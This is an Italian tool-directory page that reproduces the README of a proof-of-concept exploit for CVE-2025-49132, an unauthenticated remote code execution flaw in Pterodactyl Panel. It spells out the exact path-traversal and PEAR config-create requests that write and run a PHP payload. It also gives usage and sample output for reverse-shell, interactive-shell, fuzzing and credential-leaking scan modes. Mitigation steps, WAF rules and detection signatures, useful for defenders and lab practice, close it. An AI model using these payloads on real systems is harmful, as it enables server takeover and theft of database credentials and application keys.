Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Strumenti/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Vedi Repository
316 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-49132: Pterodactyl Panel RCE non autenticata tramite metodo PHP PEAR

CVSSv3 Licenza Python

Indice

  • Panoramica
  • Dettagli sulla vulnerabilità
  • Analisi tecnica
  • Flusso dell’exploit
  • Installazione
  • Utilizzo
  • Esempi
  • Mitigazione
  • Disclaimer
  • Riferimenti
  • Autore

Panoramica

Questo repository contiene un proof-of-concept (PoC) per CVE-2025-49132, una vulnerabilità critica di esecuzione remota di codice non autenticata in Pterodactyl Panel versioni precedenti alla 1.11.11.

Pterodactyl Panel è un pannello di gestione di server di gioco gratuito e open-source basato su PHP. La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul sistema target sfruttando la gestione impropria dell’endpoint /locales/locale.json combinata con la funzionalità pearcmd.php di PHP PEAR.

Riepilogo della vulnerabilità

  • CVE ID: CVE-2025-49132
  • Punteggio CVSS: 10.0 (Critico)
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Controllo improprio della generazione di codice ('Iniezione di codice')
  • Versioni affette: Pterodactyl Panel < 1.11.11
  • Complessità dell’attacco: Bassa
  • Privilegi richiesti: Nessuno (Non autenticato)
  • Interazione dell’utente: Nessuna

Dettagli sulla vulnerabilità

Cos’è PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) è un framework e un sistema di distribuzione per componenti PHP riutilizzabili. Fornisce uno strumento da riga di comando (pearcmd.php) che può essere utilizzato per gestire i pacchetti PEAR.

Il file pearcmd.php elabora comandi tramite parametri URL e, se combinato con path traversal, può essere sfruttato per:

  1. Creare file PHP arbitrari sul sistema
  2. Eseguire tali file attraverso il server web

Causa principale

La vulnerabilità esiste perché:

  1. Path traversal non convalidato: Il parametro locale in /locales/locale.json consente path traversal senza una corretta validazione
  2. Inclusione diretta di file: L’applicazione include direttamente file basati su input controllato dall’utente
  3. Iniezione di comandi PEAR: Lo script pearcmd.php accetta il comando +config-create che può scrivere file PHP arbitrari
  4. Accesso non autenticato: L’endpoint vulnerabile non richiede autenticazione

Vettore d’attacco

Un attaccante può:

  1. Utilizzare path traversal per raggiungere la directory di installazione di PEAR
  2. Abusare del comando config-create per scrivere codice PHP malevolo in /tmp
  3. Eseguire il file PHP malevolo attraverso lo stesso endpoint
  4. Ottenere piena esecuzione remota di codice come utente del server web

Analisi tecnica

Processo di sfruttamento

L’exploit funziona in due fasi:

Fase 1: Creazione del payload

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Spiegazione:

  • +config-create+/ - Invoca la funzionalità di creazione configurazione di PEAR
  • locale=../../../../../../usr/share/php/PEAR - Path traversal verso la directory PEAR
  • namespace=pearcmd - Punta al file pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - Payload PHP e file di destinazione

Fase 2: Esecuzione del payload

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Spiegazione:

  • locale=../../../../../../tmp - Path traversal verso /tmp
  • namespace=payload - Include ed esegue payload.php

Perché la codifica URL rompe l’exploit

L’exploit richiede l’invio di caratteri speciali (<, >, ?, =) nell’URL senza codificarli. Se questi caratteri vengono codificati in URL:

  • <?=system('id')?> diventa %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR li interpreta come testo letterale invece che codice PHP
  • I tag PHP non vengono riconosciuti, impedendo l’esecuzione del codice

Flusso dell’exploit

root@kitploit:~
graph TD
    A[Attaccante] -->|1. Richiesta Path Traversal| B[locale.json]
    B -->|2. Path traversal verso PEAR| C[pearcmd.php]
    C -->|3. Comando config-create| D[Scrive Payload PHP]
    D -->|4. Crea File| E[payload.php]
    E -->|5. File Creato| F[Filesystem del Server]
    
    A -->|6. Richiesta di Esecuzione| G[locale.json]
    G -->|7. Path traversal verso tmp| E
    E -->|8. Inclusione ed Esecuzione| H[Interprete PHP]
    H -->|9. Comando di Sistema| I[Comando Shell]
    I -->|10. Output del Comando| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagramma del flusso dell’attacco

root@kitploit:~
sequenceDiagram
    participant Attaccante
    participant Server Web
    participant PEAR
    participant Filesystem
    participant Motore PHP
    
    Attaccante->>Server Web: GET locale.json con config-create
    Server Web->>PEAR: Path traversal verso pearcmd
    PEAR->>Filesystem: Crea payload.php
    Filesystem-->>Attaccante: 200 OK
    
    Attaccante->>Server Web: GET locale.json con namespace payload
    Server Web->>Filesystem: Path traversal verso payload.php
    Filesystem->>Motore PHP: Includi payload
    Motore PHP->>Motore PHP: Esegui comando di sistema
    Motore PHP-->>Attaccante: Output comando RCE

Installazione

Prerequisiti

  • Python 3.6 o superiore
  • Libreria requests

Clona il repository

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Installa le dipendenze

root@kitploit:~
pip3 install -r requirements.txt

Oppure manualmente:

root@kitploit:~
pip3 install requests

Utilizzo

Esecuzione di un comando base

root@kitploit:~
python3 poc.py -H <host_target> -c "<comando>"

Reverse shell

root@kitploit:~
# Sulla macchina attaccante, avvia listener
nc -lvnp 4444

# Esegui exploit con reverse shell
python3 poc.py -H <host_target> -r <tua_ip>:4444

Pseudo-shell interattiva

root@kitploit:~
python3 poc.py -H <host_target> --shell

Fuzzing per installazioni PEAR

root@kitploit:~
python3 poc.py -H <host_target> --fuzz

Scansione della vulnerabilità

root@kitploit:~
python3 poc.py -H <host_target> --scan

Controlla la presenza di CVE-2025-49132 tramite perdite di configurazione (credenziali database, chiave app).

Percorso PEAR personalizzato

root@kitploit:~
python3 poc.py -H <host_target> -c "whoami" -p "/opt/pear"

Output verboso

root@kitploit:~
python3 poc.py -H <host_target> -c "id" -v

Mostra dettagli avanzati (creazione payload, percorso PEAR, stato esecuzione).

Opzioni complete

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            mostra questo messaggio di aiuto ed esci
  -H HOST, --host HOST  Host target (es. 192.168.1.100 o example.com)
  -c COMMAND            Comando da eseguire sul sistema target
  -r REVERSE_SHELL      Reverse shell (formato: LHOST:LPORT)
  --shell               Modalità pseudo-shell interattiva
  --fuzz                Fuzzing per percorsi di installazione PEAR
  --scan                Scansiona il target per la vulnerabilità (perdite di configurazione)
  -p PEAR_PATH          Percorso PEAR personalizzato (default: /usr/share/php/PEAR)
  -e ENDPOINT           Endpoint vulnerabile (default: /locales/locale.json)
  --ssl                 Usa HTTPS
  --timeout TIMEOUT     Timeout della richiesta in secondi (default: 10)
  -v, --verbose         Output verboso di avanzamento

Esempi

Esempio 1: Esecuzione di un comando base

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE tramite PHP PEAR

[+] Output del comando:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Usa -v per output verboso (dettagli payload, percorso PEAR, ecc.).

Esempio 2: Reverse shell

root@kitploit:~
# Terminale 1: Avvia listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminale 2: Esegui exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Assicurati che il tuo listener sia in esecuzione: nc -lvnp 4444

# Terminale 1: Ricevi connessione
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

Esempio 3: Pseudo-shell interattiva

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

Esempio 4: Fuzzing del percorso PEAR

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Trovate 3 potenziali installazioni PEAR:
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Usa il flag -p con uno di questi percorsi per lo sfruttamento

Usa -v per vedere l’avanzamento del fuzzing per percorso.

Esempio 5: Scanner di vulnerabilità

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scansione: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABILE - Credenziali database perse
    Host:     127.0.0.1
    Porta:    3306
    Database: panel
    Utente:   pterodactyl
    Password: ********
    Connessione: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABILE - Configurazione app persa
    Chiave App: base64{...}
    [!] AVVISO DI SICUREZZA: APP_KEY esposta!
-------------------------------------------------------
[+] Il target è VULNERABILE a CVE-2025-49132

Mitigazione

Azioni immediate

  1. Aggiorna Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    Aggiorna alla versione 1.11.11 o successiva.

  2. Disabilita l’endpoint vulnerabile (Workaround temporaneo)

    Aggiungi alla configurazione del server web:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    Nota: Questo romperà le funzionalità di localizzazione.

  3. Web Application Firewall (WAF)

    Implementa regole WAF per bloccare tentativi di path traversal:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

Soluzioni a lungo termine

  1. Validazione dell’input: Implementa una validazione rigorosa per i parametri locale e namespace
  2. Sanificazione del percorso: Usa realpath() per risolvere e validare i percorsi dei file
  3. Approccio whitelist: Consenti solo valori di localizzazione specifici e predefiniti
  4. Autenticazione: Richiedi autenticazione per gli endpoint delle lingue
  5. Audit di sicurezza: Valutazioni periodiche della sicurezza e penetration testing

Rilevamento

Analisi dei log – Cerca pattern sospetti:

root@kitploit:~
# Log di accesso Apache/Nginx
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Cerca file payload
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

Firme IDS/IPS:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 Tentativo RCE PEAR"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

Disclaimer

SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI

Questo proof-of-concept è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. L’autore non si assume alcuna responsabilità per uso improprio o danni causati da questo programma.

Avviso legale

  • ✅ FARE: Usa questo strumento per penetration testing autorizzato e ricerca sulla sicurezza
  • ✅ FARE: Usa questo strumento su sistemi di tua proprietà o per cui hai esplicito permesso di test
  • ✅ FARE: Usa questo strumento per verificare patch e controlli di sicurezza
  • ❌ NON FARE: Usare questo strumento contro sistemi senza autorizzazione esplicita
  • ❌ NON FARE: Usare questo strumento per scopi malevoli
  • ❌ NON FARE: Distribuire questo strumento in ambienti di produzione senza controlli adeguati

L’accesso non autorizzato a sistemi informatici è illegale. Gli utenti sono responsabili di garantire la conformità alle leggi e ai regolamenti applicabili.

Riferimenti

  • CVE-2025-49132 - NVD
  • Avviso GitHub: GHSA-24wv-6c99-f843
  • Avviso di sicurezza Pterodactyl Panel
  • Documentazione PHP PEAR
  • CWE-94: Iniezione di codice

Autore

xffsec

Contatto
GitHub: @xffsec
Email: [email protected]

Licenza

Questo progetto è concesso in licenza sotto la licenza MIT – consulta il file LICENSE per i dettagli.

Contributi

Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti! Sentiti libero di aprire un issue o inviare una pull request.

Riconoscimenti

  • Il team di sviluppo di Pterodactyl Panel per il loro processo di divulgazione responsabile
  • La comunità di ricerca sulla sicurezza
  • HackTheBox per fornire un ambiente sicuro per praticare queste tecniche

⚠️ Ricorda: Pratica sempre la divulgazione responsabile e non sfruttare mai vulnerabilità senza autorizzazione adeguata.

Scarica lo strumento